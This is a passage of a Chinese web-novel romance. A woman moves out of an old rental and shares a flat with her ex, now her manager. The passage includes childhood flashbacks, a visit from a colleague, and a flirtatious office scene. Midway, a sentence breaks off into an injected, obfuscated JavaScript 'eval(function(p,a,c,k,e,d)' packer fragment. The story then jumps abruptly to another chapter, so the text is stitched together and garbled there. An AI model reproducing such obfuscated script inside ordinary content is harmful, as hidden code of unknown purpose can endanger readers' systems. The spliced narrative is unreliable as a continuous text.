午休后要交周报,姜又柠趁着饭点写完了。 早早就答应了岑曳,要她帮自己搬家,姜又柠现在有点后悔。 就剩下几个小箱子和零零碎碎的物品了,她不怎么用得上,搬过来也是找个空闲的角落里堆放着。 很多事情在她没有意识到的时候就开始莫名其妙地发展。 岑曳作为新领导空降在部门,跟岑曳成为合租室友,同吃同住,甚至三番两次坐着她的车子上下班。 她要是从朋友那儿听到这种故事,绝对会认为这两人在搞暧昧。 周五加班的人不多,不想被考核制度困住的,已经学会在周六的时候主动加班了。 姜又柠兢兢业业一周,也算能有个完整的双休。 在导航里输入小区地址的时候,姜又柠还有些紧张。 岑曳确认了之后,就开着车子往旧房子的方向去。 “小区离公司挺远的。” “离上一家公司近,不过住了几年了,懒得搬家,太麻烦。”姜又柠说,“万一我新工作也干不长呢。” 岑曳看她一眼,“上份工作跟现在差别挺大的吧?” “还好,都跟我专业沾点边儿,就是太忙了。”姜又柠惋惜得很,“还以为现在能够混到退休呢。” “适当加班也挺充实的。” 姜又柠哑言,无法赞同这句话,这完完全全就是资本家的谎言。 随便评估一下岑家母女的财产,也能够知道她们已经通过奋斗脱离了无产阶级。 “加班只会让我把本就贫瘠的休息时间花费在医院上,人财两空。”姜又柠‘啧’了下,“不想给医院送钱。” 岑曳按捺住关心她的心思,姜又柠现在对两个人的距离格外有分寸。 真的像合租室友一样,体面又礼貌。 “你知道吗?部门里好多人都觉得总部那边是毒瘤聚集地。” 姜又柠现在真觉得她们说得对。 奇葩还是得亲眼见了才会相信,至少她的口中这辈子都不会喊出‘我爱加班’这四个大字。 “说得也没错啊。”对于这个评价,岑曳的反应倒是很平淡,“有机会你可以去总部参观一下,有些人会把这句话当成是一种热爱工作的夸赞。” “不是说外国不卷吗?” 岑曳笑了下,“这种谎言只适合安慰自己。” 车子顺利进入小区,停在了楼下。 东西还没怎么收拾,姜又柠先行一步进门把茶几上的几个瓶瓶罐罐全都堆进了空箱子里,还有茶几下面平常吃外卖攒下来的一大堆未拆封的一次性餐具。 “不用换鞋子,我明天会过来打扫的,周日交房。”姜又柠依旧蹲着,声音闷闷的,“你想参观的话也可以四处看看,反正你得等我一小会儿。” “要帮你吗?” “不用不用,没多少东西。” 其实是担心岑曳看见了又觉得她东西放得太乱不舒服。 姜又柠开了客厅的灯,有一半是不亮的,不过也能凑合照明。 “老房子而已,很多东西时间长了就容易坏,我自己能修的就修了,修不了的找房东帮我,不过这种大灯没有全坏就无所谓,能用。”姜又柠忍不住解释。 岑曳皱了皱眉,也没主动帮她的忙,这房子小,客厅没有窗户,阳台小小的,跟洗衣机挤在一起,只有上面固定住的一根晾衣杆可以晾晒衣服。 她的食指弯曲放在鼻尖蹭了下,不太喜欢这里闷热的味道。 “是有点闷。”姜又柠抽空看一眼她的反应,把大门开了一小半,“我们在家做饭的时候都会把门打开的,这里小半个月没住人了,空气没怎么流通。” “你毕业之后一直在这里住?”岑曳没往里面走,站在门后打量她收拾的动作。 “大四实习就住这儿啦!”姜又柠小跑着去了卫生间又回来,手里多了几个洗漱用品也一并塞进另一个箱子里,“刚搬进来确实有点儿不太习惯,不过住一段时间就好了。” 姜又柠大四实习那年,距离她们分手也不过一年多。 岑家的房子是座小型独栋别墅,岑千兰年轻的时候攒钱买下来的,这些年房子升值又贬值,市区开发中心也逐渐转移,原来繁华的区域现在已经算偏僻了,房价大幅度下降,买卖的人也很少了。 从小别墅搬进不见光的出租屋是很难习惯的,虽然姜又柠自己不觉得苦,岑曳却心情复杂。 姜又柠拿着扫帚简单扫了扫客厅,最后留下了几个清洁工具和一卷垃圾袋。 岑曳用手抹了下玄关处的鞋柜,指腹上立刻多了层淡淡的灰尘。 她叹口气,走向最近的厨房,打开了水龙头洗手,但水龙头上凝固了一层很薄的油渍,黏糊糊的。 水管还漏水,顺着缝隙几条水渍滋出来,关掉之后还顺着水管往下流。 岑曳的手指捻了捻,有些呼吸不畅。 “你别参观了,我马上好了,一分钟。” 女人每个动作都逃不过姜又柠的视线,她双颊火辣辣的,困窘地拽过岑曳的手腕将她带回客厅,“湿巾给你,自己擦。” 两三个箱子摞在一起,岑曳独自抱着等电梯,姜又柠的手里拎了一个布袋,“要我帮你拿吗?” “不用,挺轻的。” “……谢谢。”姜又柠僵硬地开口。 跟岑曳客气好像比怼她更令姜又柠感到别扭。 “据我了解,你上份工作薪水挺可观的,完全可以住一个更好的房子。” 姜又柠没空去想岑曳怎么知道她上家公司的,乖巧解释,“这个房子也是转租的,我实习住进来的时候还有半年租期,室友姐姐挺好的,我本来想毕业换房子的,但学校急着撵人,我又忙着毕业的事情,没什么时间看房子搬家,就直接续租了。” 她将箱子放进后备箱,“将就一下就住了呗,反正都是凑合,而且我一直加班,我在家的时间还没公司多呢,公司也没让我交租金啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果当初没有闹翻,她可以顺理成章给予她资金支持,甚至岑千兰会给她提供几份面试的机会。 岑千兰只对她严厉而已,对不相干的人一直都维持着好人的面孔。 车子停在了宽广的地下车库,岑曳的幻想停了。 姜又柠凑过来盯着她看了一眼,“你晚上真的不吃饭吗?” 这女人到底为什么又不高兴了? 自打她们合租之后,她能避就避,没像过去那样一直闹腾她啊。 “你点了什么,帮我点份一样的吧。” “番茄鸡蛋炒刀削啊,你怎么不早说?我的都快送到了!两份一起点还便宜呢。”姜又柠瘪瘪嘴,“勉为其难帮你再点一份吧,不过我要多加一瓶可乐。” “你就吃这个?”岑曳蹙眉,“吃饭也这么将就?” “那不然吃什么?”姜又柠眨眨眼睛,“我跟你说,这个可好吃了,就容易坨。” “忙了一天总该吃些好的。”岑曳拿起放在门口的一份刀削面,“你不是爱吃海鲜吗?” “我没钱。”姜又柠从她的手里拿过自己的饭,“你以为我不想犒劳自己啊?” 岑曳盯她看,张了张唇还是什么都没说。 姜又柠没钱,可她比她多的就只有钱。 明明姜又柠可以不用将就,唯一需要将就的就是给在国外的她主动打去一通电话。 那样,她们或许早就复合了。 20-25 第21章 天塌了。 姜又柠完全没意识到这个可能性, 但根据答案推理过程的时候,当下的结果就顺理成章了。 会跟岑曳前后脚回A市是因为庄玟是总部对接国内项目的负责人,这个周末一起去邻市跟合作方洽谈了, 也因为是好友才会给予充足的信任让她直接登门拜访。 她把庄玟当成乱七八糟的人也是因为被‘暧昧对象’这个敏感的词语搞得脑子一团乱麻,但从始至终,岑曳从没提过关于暧昧对象的任何一个词语, 除了一个问号。 面前站着的人,一个不是江诗文的后女友, 另一个也不是她的前任。 这是她两个活生生的领导。 她是不是应该去端茶倒水, 她摸不清这两个女人的关系好到哪种程度, 万一刚才她那些话被庄玟直接告诉了岑曳, 那她在岑曳面前就彻底没有尊严了。 而且庄玟的性格,她根本都不了解,早知道趁着江诗文还在的时候多问几句了,不然也不至于闹得这么尴尬。 姜又柠说干就干, 端了杯热水送到庄玟面前, 示意她在沙发上坐下,“您坐吧,喝点水,小心烫。” 她双手自然下垂,交握放在小腹前, 面带微笑站在一边。 脸变得实在太快, 庄玟自然能够懂她变脸的目的, 只是岑曳见她如此讨好庄玟,抿了抿唇,欲言又止。 她不清楚刚才发生了什么,但按照她的经验来看, 姜又柠刚刚一定说了很多不该说的话。 “你们聊,如果有什么事情的话,喊我来做就行。”姜又柠干笑了几下,“我先回房间了,不打扰你们了。” 开门溜进去之前她还热心肠道,“聊多晚都没关系,不用担心会打扰到我的。” 客厅内很快就只剩下了两个人。 庄玟跟岑曳对视了一眼,笑了下,“挺可爱的。” 岑曳的视线落在了紧闭的房门上,抿了抿唇,“她跟你聊了什么?” 庄玟再次走到置物架上,看向那个白色的狐貍玩偶,“讲了几句你们的关系,还有……定情信物?” 她又笑,“感情还是有的,不然也不会把我当假想敌了。” 这话说得挺有意思,岑曳半靠着置物架,来了点儿兴趣,“没点儿具体的话?” 庄玟抬了抬下巴示意了下茶几上放着的貍猫玩偶,“你的小女友买来送你的。” 岑曳拿起来,忽略不掉玩偶屁股后面的商标,吊牌也没去,后面的标价写着198. 她们两个都不是乐意参与别人感情话题的人,庄玟便换了话口,“国内的项目慢慢开展之后,你要是想脱身回总部可就难了。” “回国的机会不多。”岑曳的手指细细摩挲着玩偶的毛发,“我既然回来了就没想着走。” “总部晋升空间大,更何况岑阿姨在高层那边也很稳定,在国内单打独斗,肯定不如国外顺利。” “在事业上我没什么期待,回国是我最好的、也是唯一的选择。”女人的脸上露出些许柔和来,“跟你这种冷漠的人讲不了感情。” 庄玟闻言,笑得畅快,“不怕失败?” “不会的。” 因为她现在已经没有可以失去的了,只要肯走出这一步,就是在赢的路上了。 “一直聊我干什么?诗文也在这个小区,你一会儿可以跟她见个面。她不是已经知道你是负责人的消息了吗?” “早着呢。”庄玟婉拒了,“利益捆绑这种东西,需要最好的时机。她年纪轻,听我回国见她就会慌张,但人只有在最慌的才是最好控制的,我得慢慢来。” 岑曳抿了抿唇,“她跟柠柠的性格挺像的,别玩脱了。” “双方都是共赢的,又不谈感情,有什么脱不脱的。”庄玟无所谓道,“总是背地裏说我冷血,明明是她接受度太差,想得太天真,跟钱捆在一起的东西讲感情只会输得一败涂地。” “一会儿我还得回酒店开个小会,不多待了。”她看了眼时间朝着门口走,别有深意道,“真是冒昧打扰啊。” “开会?都这个点了,不是都刚下飞机吗?” 庄玟换着鞋子,“给过她们吃饭的时间了,时间紧任务重,来国内是工作的,不是重游旧地的。” 岑曳将她送到电梯口,“真爱上班,总部的业界毒瘤啊。” “谬赞咯。”- 逃离回屋的姜又柠刚关上门就马不停蹄开始消息轰炸江诗文,没发几条消息就觉得打字慢,便打了个电话过去。 “诗文!你订婚对象来我家了!是叫庄玟的对吗!你不知道我把她……我把她……” ——“什么?”电话那边的江诗文迷迷糊糊的,一听声音就是刚睡醒。 姜又柠三言两语把刚才糟糕的状况说了一遍,江诗文发出了猖狂的笑声。 ——“庄玟那个女人的脸一定很臭!你不知道我在国外跟她见面的时候她这个人有多冷血,表面上顺着你,其实每句话都试图在压制你。” “感受到了……”姜又柠怀裏抱着抱枕,感慨一句还是岑曳好。 性格温柔又会说漂亮话,长得好看身材又好。 ——“不过你别管了,既来之则安之,大不了最后领完结婚证分居两地啊,我肯定不会跟她天天待着,一味地慌张是没有用的。” “也是,我就是不知道庄玟的性格怎么样,毕竟她是总部那边对接国内的总负责人,现在也算我们领导,我刚刚那么误会她,她应该不会给我穿小鞋吧?” ——“那不会,她这个人只会平等地无视掉每一个人。”江诗文想了想,“不过我跟她确实不算熟,你可以再具体问一问岑曳姐,按照岑曳姐那个严重的强迫症来看,现在庄玟都能进她家门了,她俩关系应该是越来越好了。” “我会再问一问的。”匆匆忙挂断了电话,姜又柠嘆了口气,整个人贴在门后仔细听着客厅的动静。 客厅有细微的对话声,不过她根本听不清楚。 直到听见门开启的声音,她才小心翼翼地将卧室门开了一小条缝。 客厅已经没人了,玄关那边多了两双换下来的拖鞋。 下一秒密码锁就传来‘滴滴’的声音,姜又柠紧张兮兮地大跨步准备回卧室,就听见身后传来女人的声音。 “跑什么?” 姜又柠停了脚步,双手背后,“我哪裏跑了?这裏是我家啊。” 她来回散步,姿态懒洋洋得很,“我到处走走也不行啊?” “行。”岑曳洗了手,这会儿终于有机会将客厅内那些新买的家具挪到了正确的位置,“签收这么多大件,辛苦你了。” “就拆开放着了,也没什么辛苦的,那个衣架我组装好了,放在门后了,你应该也看见了。”姜又柠口头上说着,却还是跟在女人身后,心裏希望她再多夸几句,“上面我贴了几张贴纸,你应该不介意吧?” “我还以为是自带的。” “怎么可能?那些卖家具的老板怎么会这么有童心?这些贴纸可是我精挑细选的。” 居然敢把这个功劳轻飘飘给了卖家,姜又柠不服。 “好看吗?” “挺可爱的。”岑曳一早就发现了,这些狐貍和小猫贴纸,的确是姜又柠的作风。 小时候姜又柠就喜欢这样。 岑千兰总会在高强度工作之后在家休息一段时间,这个时候岑家就会来很多客人。 这些客人会带着她们的小孩儿,有的是快要工作的年纪,来岑千兰面前露个脸,也有的是上学的年纪,找岑千兰走个关系,问问能不能去个重点学校。 还有的抱着两三岁,一两岁刚学会走路的小孩子就来了。 小孩子个子矮,走起来笨笨的,难免有磕碰到桌角的时候,但除了孩子的母亲,岑家没人会在乎。 彼时的姜又柠十几岁,不懂得人情世故,不懂得来拜访的都是为了各自的利益,她只会关注哪些妹妹受了伤,在岑家做客的这段时间待得不舒服。 将岑家打扫干净,把一日三餐做得好吃是姜鸿英的事情,照顾比她还要小的妹妹就是她的事情。 她用手机网购,放了学自己去取,询问了岑曳的意见之后,就在家裏的四角桌子以及各种尖锐的家具上都贴了保护套和贴纸。 贴纸是各式各样的水果和蔬菜,也有各种小动物。 以往岑曳回到家,觉得家裏满是岑千兰工作之后留下的冷淡,装修风格也是清一色的黑白灰。 但暗淡的风格中多了些花裏胡哨的靓丽,就多了些人情味儿。 岑千兰出差,岑曳邀请姜家母女同坐一起吃饭时,居然有种这裏是姜家的感觉,热闹、温暖,且有话聊。 聊的还是些鸡毛蒜皮的小事儿,不是学业和工作。 今天买菜比以往贵了几毛几块、进口超市的蔬菜为什么还没有菜市场的新鲜、哪家雇主脾气不好,又骂了哪个家政阿姨,老板给她贴心地发了两百红包作为补偿…… 岑曳听得津津有味,这些事情她接触得少,还挺新鲜的,偶尔也会问几句细节。 日子过得很舒服,大学室友都很卷,周末和没课的时候都会泡在自习室,傍晚她就回家待着,顺便把姜又柠喊过来家裏住。 什么都没做,只盯着这个小屁孩儿写作业就挺有意思的。 但好日子总没办法一直维持,要是当初没戳破那层薄到几乎透明的玻璃纸,会不会是不一样的结果? …… “你想什么呢?”姜又柠的手在岑曳面前挥了挥,“你要是不喜欢这些贴纸,我就撕下来了,用吹风机吹热了撕,不会留胶的。” “挺可爱的,留着吧。”岑曳认真看她,“不是你认真挑的吗?我总不能辜负了你的心意。” “是我自己看着好看,跟你可没关系。”姜又柠一本正经撇责任,“我是为了我自己舒服,不是为了你。” “嗯,也不错。”岑曳语气轻飘飘的,“跟着我们柠柠沾光了啊。” 姜又柠张了张唇,这话听着真别扭。 她转眼看见茶几上的貍猫玩偶,准备拿进卧室裏洗漱睡觉。 岑曳看穿了她的动作,比她先一步将玩偶拿在了手裏,“听说,这是你买给我的?” “不是!你听谁瞎说的?”姜又柠说着就要去抢,“这是我自己买的,两百块呢!精品店的东西贵得要死了。” 女人将玩偶举得高高的,姜又柠跳起来去拿,另只手还抓住女人的袖口不准她乱动。 “送人的礼物哪儿有要回去的意思?”岑曳轻轻地笑,在她面前乱抓的手偶尔碰到她的肩膀、胸口,最后紧握她的手腕,传送着浅淡的温度。 “我说了我没送!你别听庄玟乱说!”姜又柠顾不上该不该喊大名了,“我见她紧张,很多话都说错了,你见领导不紧张吗?” “不是定情信物吗?还说跟我合租有目的?” “岑曳,你怎么这么自恋?是你非要搬进这裏的,这栋房子是我先看上的!”姜又柠紧攥她的手腕,脚下崴了下没能站稳,扑进了女人的怀裏。 岑曳的手落在她背后抱住她,往后退了几步扶稳,“这玩偶跟我挺像的,送我吧?” “哪裏跟你像了?小猫咪哎,那么可爱,明明跟我像好吧?” “貍猫啊,张牙舞爪的,确实跟你挺像的。”女人细细打量了下再次举高,“那我更得拿走了。” 看见女人眸光中得意的神色,姜又柠咬了咬唇,“我不要了,随便你。” 她还在女人的怀裏,脑袋感受着她胸前的柔软,双手揽过她的腰,挣扎了几下准备脱离出来。 岑曳意识到她的挣扎,落在她后腰的手收紧了些。 “岑曳,你松开我……”头发也变得乱糟糟的,姜又柠的声音有些闷。 莫名的心跳加速让她感到害怕,跟岑曳近距离接触的时候她总会想到过去。 “不怎么想松开呢,怎么办?” 微妙的声音落在了姜又柠的耳尖,带着细微的瘙痒,她不畅地呼了口气,用力推搡了下面前的女人。 岑曳依旧抱住她,踉跄了下,摔到了后面的沙发上。 沉闷的声音吓得姜又柠立刻不敢乱动了,“你没事儿吧?” 两具身体紧紧贴着,姜又柠忽略不掉身下传来的柔软,这种肌肤紧贴的感觉已经好久没有过了,更何况现在她们还隔着两层薄薄的衣料,就更显得欲盖弥彰了。 女人紧蹙着眉头,表情算不上平静,眯着眼睛安慰她,“你没磕到吧?” 都痛得皱脸了也还要先顾着她的周全。 “你还问我呢,我摔你身上了!你痛不痛啊?”姜又柠着急了,左瞧右瞧查看她的胳膊有没有伤,“我应该给茶几的四个角装个保护套的……” “像过去那样,是吗?” 姜又柠愣了下,刚才那句话她是下意识说出口的,就像是习惯了一样。 可岑曳的这句话印证了她的下意识从何而来。 “你到底有没有磕到啊……”姜又柠急忙转移话题,双手帮忙揉按着女人的小臂,“我帮你揉一揉。” “看到那些贴纸,总想起之前在家裏的时候。”岑曳从沙发上坐起来,揉了下自己的脊椎。 姜又柠见状,又去帮她按摩腰部,不过没有接下她的话。 岑曳抓过她的手腕,没有让她继续帮自己揉按,“不早了,明天还要上班,你早些睡。” 这样淡漠的神情这几天姜又柠不是第一次见到了,现在的岑曳相较于以往变得很感伤了吗? 姜又柠的心中格外复杂。 貍猫玩偶还在岑曳的手裏,她说不出再要回来的话。 算了,不过就是一个玩偶,她没必要强硬地附加上什么特殊的意义。 从小到大,岑曳送了她那么多东西,她还回去一个也是应该的。 “你真的不痛了吧?”姜又柠还顾着刚才的摔倒。 小时候摔跤打闹也很多,家裏只有她们两个的时候姜又柠在岑曳的允许下就更加肆无忌惮了,所以为了保护她,岑曳总会受些小伤。 不过岑曳不爱表现出来,生怕她担心,既然痛都表露在了脸上,那说明是真的没办法强忍。 “我又不是小孩子,摔了下而已,有什么好喊痛的?”岑曳微微弯腰,手扶着门框,眸光裏还有些盖不住的湿润。 被撞痛了总会忍不住飙泪的,姜又柠非常清楚这种感觉,此时心裏就更加过意不去了。 “玩偶送你了,你喜欢就好。”姜又柠抿唇,“早说的话我应该再挑个更漂亮的给你,本来就是随便买的。” “挺好的啊。”岑曳捏了捏玩偶的耳朵,“早些睡吧,谢谢你的礼物。” “如果你疼的话就跟我说,我帮你按一按。”姜又柠又看了眼女人的腰,这才转身回了卧室。 听见关门的声响,女人嘴角的笑意更深了,她细看了几下玩偶,愈发喜欢了。 沙发是皮质软沙发,材质不错,不然她连沙发也会换的,怎么可能会摔痛呢。 不过佯装受伤来获取姜又柠的心软这种办法,真是屡试不爽啊- 姜又柠起了个大早,一边刷着牙一边蹲守岑曳有没有起床。 这女人时间卡得太准了,除了特殊情况以外,能多睡一分钟就绝对不会早起,所以部门裏卡点上班的人总能碰到她。 她贴心地买了双人份的早餐放在桌子上,还大出血买了份牛排。 虽然不知道送过来的味道还算不算好,但好歹她能够稍稍慰问一下她。 置物架上的狐貍玩偶还是被她拿进卧室的床上了,跟着睡习惯了,脱敏不了。 听见卧室开门的声音,姜又柠急忙跟她说买了早餐。 岑曳撇了眼餐桌,悠悠道,“今天不是一号吗?起得挺早的。” “我这个月不会再补卡一次!”姜又柠下了决心,“我是个热爱工作的人,我要努力发光发亮,给我们部门创造kpi。” 不管真话假话,能让领导开心的话就是好话。 岑曳站在她身后,手绕过她的腰拿了牙膏往牙刷上挤,“我记得你之前考倒数也是这么说的。” 她视线看向镜子中的姜又柠,微微皱眉思索,“好像是……我要努力学习,发光发亮,给我们年级创造奖学金kpi。” 姜又柠头也不回地离开了洗漱间,直奔餐桌吃饭,懒得理她。 高中的时候,姜又柠考上了重点高中,幸运地成为了重高的吊车尾。 本来她学习就吃力,属于对着课本越努力越困的学生,午休后打瞌睡,最后一节课盯着时间前几个跑出教室去吃饭这些事情更是不计其数。 姜鸿英对她学习这方面唠叨得不算多,是快乐教育,要她开心就好。 直到姜又柠物理考了个位数,被教物理的班主任在班级群点名上课不认真之后,姜鸿英的面子上过不去了。 在岑家不好批评教育她,姜又柠周末跟着姜鸿英出门卖菜的时候就被从头到脚说了好久。 她脸皮不算薄,刚开始还认真点头知错就改,后来被说得脸红害臊就开始顶嘴,“那我又不是最后一名!还有考零分的呢,我比这几个人厉害多了!” 姜鸿英嫌她顶嘴,拎着耳朵要她坐上电动车带着她回岑家。 一路上姜又柠擦着眼泪揉着自己发疼的耳朵,嘴裏嘀咕着,“早知道全选c了,还能有个十几分呢……” “我是个高中生了,高中生是不能哭的……” “我要找岑曳姐给我补课……我还要她给我做好吃的……” 电动车停了,姜鸿英转头看她,“你还让雇主给你做吃的?天天嘴怎么这么馋?” “岑曳姐奖励给我的!她说我听话!说我可爱!” “客气两句你还当真了?你知不知道多少人面上跟背后是两个样子?闹到公司去你妈我就没工作了!”姜鸿英气得很,没能平静下来火气越来越大了,“到时候你吃什么穿什么!学都没钱上!” “那我不上了!反正成绩这么差最后也考不上大学!” 电动车停在了岑家门口,姜鸿英罕见地这么生气,“我没空管你!一会儿做了饭跟我回集体宿舍住,我今天非得好好教育你!” “我不要……岑曳姐说了我可以在家裏住……”一听到不准住家姜又柠就怂了,她扯住姜鸿英的袖口,“妈,你别让我回宿舍……” “你自己骑车先回去,别乱跑。” 姜又柠的手上被扔了一把电动车钥匙。 姜鸿英本来就不喜欢姜又柠跟岑曳的关系太过亲近。 她也待过好几个雇主家裏,见过不少人,能雇得起家政的多多少少都是有经济基础的,有钱人心眼多,这种人占不得便宜。 人越是有钱本性好坏就越难揣测,她一个做家政的,做好自己的本职工作就可以了,能带着女儿住进雇主家已经是特例了,不能靠真心去换雇主的感情。 话说得直白些,雇主再有钱跟她们有什么关系?不过就是高兴了拿些好吃的喂狗。 有钱人讲究利益交换,她们有什么能够交换的? “别让我去……”姜又柠将钥匙努力塞回姜鸿英的口袋裏,看见她变脸又将钥匙拿在手上,扔也扔不掉,走也不想走,简直就是烫手的山芋。 下一秒,门就开了,岑曳穿着拖鞋站在门口,睡衣松垮垮的,长发微乱,似乎是刚睡醒。 “岑小姐,我刚买了菜回来,做好晚饭大约要一个半小时。”姜鸿英露出笑容,有意将哭得可怜兮兮的姜又柠挡在身后,又不动声色转头示意她拿着钥匙尽快离开。 姜又柠抿唇,一双眼睛红通通的,故意在岑曳面前钻出了一个脑袋。 “怎么哭了?谁又惹你不高兴了,小霸王?”岑曳知道姜又柠的性格,不熟的时候腼腆得很,熟了就在家裏上蹿下跳,跟个窜天炮似的。 姜又柠偷偷瞧一眼姜鸿英,又瞧瞧岑曳,垂着头不说话了。 “进来。”岑曳牵过她的手,“姜阿姨,你做饭去吧,我看看她什么情况。” 母女俩对视了个眼神,姜鸿英警惕她老实些,姜又柠嘴角上扬的弧度忍不住,另一只手也握住了岑曳牵她的那只手,整个人得意洋洋的。 岑曳给她拿了巧克力吃,又拿着湿巾给她擦泪痕,“哭得这么可怜,受欺负了?” “成绩没考好而已。”姜又柠吸了吸鼻子,“我妈骂我一路,在超市就骂我,好多人看我,特别丢人……” 岑曳了然,忍不住笑出声,“以往没见你这么可怜过。” 姜又柠也笑了,压低声音讲,“其实我是装哭的,不然我妈骂我更难听了……” 岑曳颇为无奈,捏了捏她的脸,“今晚想在这儿过夜吗?” “能吗能吗?”姜又柠没坐,弯腰半跪着,双手撑在沙发上,眼睛亮亮地看她,“我妈刚才还让我回宿舍住呢,要不是姐姐你出来了,现在我都边哭边骑着车回去了。” “可以,不是正好有借口吗?考得这么差,帮你补补课。” “那就太好了!”姜又柠笑嘻嘻,又指了指茶几上的盒子,“姐姐,我还想吃刚才的巧克力!” 岑曳将剩下的都给了她,“少吃些,一会儿多吃点饭。” “那你要帮我跟妈妈说哦,我怕她做完饭就带我走……”姜又柠坐在她身边,抱住她的胳膊望着天花板,满眼都是畅想,“她不让我在家裏吃饭,也不让我在这裏睡觉……” 她蹭了蹭岑曳的胳膊,“我还是喜欢跟你待在一起……嘿嘿。” 岑曳摸了摸她的头,“我现在跟她说一声,记得装得再可怜一点,知道吗?” 姜又柠重重点头,跟着她去了厨房,站在门框扭捏着观察姜鸿英的表情。 “姜阿姨,之前答应过会帮柠柠补课,她高一第一次月考成绩不理想,我想着这个周末帮她再补补。” “不用了不用了!哪儿能再麻烦您!”姜鸿英立马拒绝了。 初中的课还算简单,高中的知识点要难上加难,要是真请了补课老师,补课费也会成倍地涨。 岑曳大学也忙,偶尔没课了或者周末才会联系她到家裏做饭,钱给的还是原来那么多,一分不少,她哪儿好意思再让她给姜又柠补课。 “高一刚开学没多久,得抓好基础,这个时候临时去找补课老师时间也紧,反正我也有空。”岑曳说,“你是不知道,我那个宿舍的室友都爱卷,周末不爱出门玩儿,都去泡自习室,我能找个陪我打发时间的人多不容易,何况柠柠也听话,特别乖。” “妈,我们年纪考到前几还会发奖学金的!我肯定会努力学习,发光发亮,给我们年级创造奖学金kpi的!你这次就相信我吧……” 姜鸿英端着洗好的菜,瞪了眼门口的姜又柠,一听就能听出来这俩人绝对在客厅商量过了。 姜又柠就是拿捏准了她不会反驳岑曳,所以次次这样来。 但看着姜又柠依旧红着流眼泪的眼睛,她心也软。 毕竟是自己亲生的孩子,刚才一路上又打又骂,不过就是成绩没考好而已,她又不是把养孩子当投资的家长,这样打骂确实不应该。 “就一晚上,我明天来接她。” 岑曳思索了下,“明天晚上再来吧,饭不用做了,家裏可能要再打扫一下,我明天晚上要回学校。” 得到姜鸿英点头之后,姜又柠转身就回了客厅,齐刷刷的两排牙齿根本合不上。 她擦掉自己的眼泪,大大咧咧躺在沙发上,“真舒服呀!” “晚上吃了饭,补补课吧。”岑曳放了话。 姜又柠笑容没了,一下子坐起来,“好好的周末,真要浪费在补课这种事情上?!” 岑曳摊手,“你以为我在跟你开玩笑吗?物理考个位数,那句话怎么说的来着……?下次题不会做的话,你还是把答题卡多踩几脚吧。” 姜又柠哼唧道,“这不公平!那些学霸带着装满知识的脑袋去考试,这难道不算作弊吗?为什么我就没有这种脑子可以带?” 说完她就吃了一个爆栗,“满嘴歪理。” …… 终于等到岑曳洗漱好在餐桌上坐下,姜又柠将牛排推到了她的面前。 “可能有点凉了,你快些吃。” “外卖的合成牛排?”岑曳扫了眼,“冰箱裏有牛排,想吃为什么不自己煎?” “我不知道有,也不是我买的,我哪裏能吃?” “以前也没见你这么老实,不是你买的零食吃了多少了?” 好端端的又扯起以前来,可她记得岑曳跟她说过的,她自己不爱吃零食,只是她喜欢,所以会买很多在家裏备着。 岑家又时不时会有讨好的人来送昂贵的进口零食,最后大部分都进了姜又柠的嘴。 “我好心好意给你买牛排吃你……”愤愤的话说了一半姜又柠想起来自己的目的,“你后背还疼吗?昨天看你磕得挺严重的。” “还有点儿疼,但有什么办法?”岑曳看了眼时间,去冰箱拿了两份牛排放到锅裏煎。 姜又柠喝了口豆浆跟着小跑过去,手主动落在女人的腰后,又继续帮她揉按。 “买点膏药贴贴呢?有没有淤青啊?”姜又柠内疚道,又小心翼翼将女人的衣服掀起来一小半。 岑曳后撤一步,眸光裏的情绪意味不明,“干什么呢?” “我看看有没有淤青,你想什么呢!” “淤青……?”女人似笑非笑,“昨天看了下,好像在肩膀下面那块儿,不过没关系,很快就会消了。” “我买些膏药送到公司吧,一会儿上班了你贴一下。”姜又柠想看看又觉得不方便,双手尴尬地在面前的空中挥了挥。 见她的双手放下,岑曳按了下自己淤青所在的位置,蹙了蹙眉,“算了,不太方便。” “我,我帮你贴……你可以喊我……” “什么理由呢?”岑曳整理了下衬衫的领口,煎着牛排,状态放松得很。 “沟,沟通……?”姜又柠想了下,“你最近不是老开小会吗?还有一对一这些。” “也行。”岑曳将牛排放到盘子裏,朝着餐桌走,“在办公室裏做些跟工作无关的事情,好像也挺有意思的?” 姜又柠哑言,贴个膏药而已,说的跟她们在办公室裏做了些什么不该做的事情一样。 外卖的合成牛排和岑曳煎好的牛排姜又柠都尝了尝,虽然她不愿意承认相比较下来,合成牛排简直难吃至极,她又花了冤枉钱,但之后合成牛排她一口没再吃了,另一份倒是吃得干干净净。 她本来不想坐岑曳的车子去公司的,但每次她提起新的话题时,总会看见岑曳因为后背的疼痛而皱眉,话落在嘴边她就不忍心说不出去了。 膏药比她们先到公司,姜又柠去前臺拿了膏药,部门裏的人先去大会议室开了周会。 会议结束之后,又是小组长会议,姜又柠等得头大,膏药拿在手裏左瞧右瞧,满脸惆怅。 组长会议开完之后的江诗文比姜又柠的脸上还要难看,但她吐槽的话还没能跟姜又柠开口,身边一道抱着文件的身影就直奔了总监办公室。 岑曳早知道是她,示意她拉张椅子坐下,“最近两星期表现得不错,你的小组长跟我夸了你。” “那当然了!”姜又柠美滋滋的,很快又反应过来,“我们组的组长不是诗文吗?刚刚看她脸色很差。” “庄玟最近要来部门。”岑曳站起身来走向了半身镜,解开了自己衬衫领口上的两颗扣子。 “我给你拿了膏药,你把衣服脱了吧。”姜又柠话说得很快,但顾不上这话有什么深意了。 “方便吗?”岑曳扯了下自己的领口,半身镜放得有些低,她微微弯腰,从镜子裏对上了姜又柠的视线。 “方便啊。” “我可能不太方便,怕你乱想。”岑曳又解了第三颗扣子,站直了身体看向她。 “我是那种贪图美色的人吗?” “不是吗?” “那都是过去的事情了好吗?!” “所以你承认了。” “……我没有!”姜又柠固执地反驳。 过去两个人汗淋淋躺在床上相拥入睡的时候,她喜欢捏捏女人的腰,啃一啃她的胸,不仅手感好,口感也好,岑曳嫌她难缠不老实,姜又柠便大言不惭地辩驳,‘长这么好看让我摸一摸怎么了?!做人不要这么吝啬!你吃吃我我啃啃你,谈恋爱做这种事情多正常啊!’ 女人将窗帘拉上了,办公室内的光线立即被遮盖了大半。 灯没有开,昏暗的光线中,姜又柠最先看见的还是女人衣衫欲褪未褪的姿态。 她吞咽了下,迅速走到开关处开了灯,“你快点脱,我一会儿还有工作。” 岑曳朝着她走过去,继续解着扣子。 姜又柠咬唇,跟走近的女人面对面的时候她已经将衬衫敞开了,露出了裏面黑色的内衣。 “你……去趴在沙发上啊……”她别开头,又偷偷往回瞄一眼。 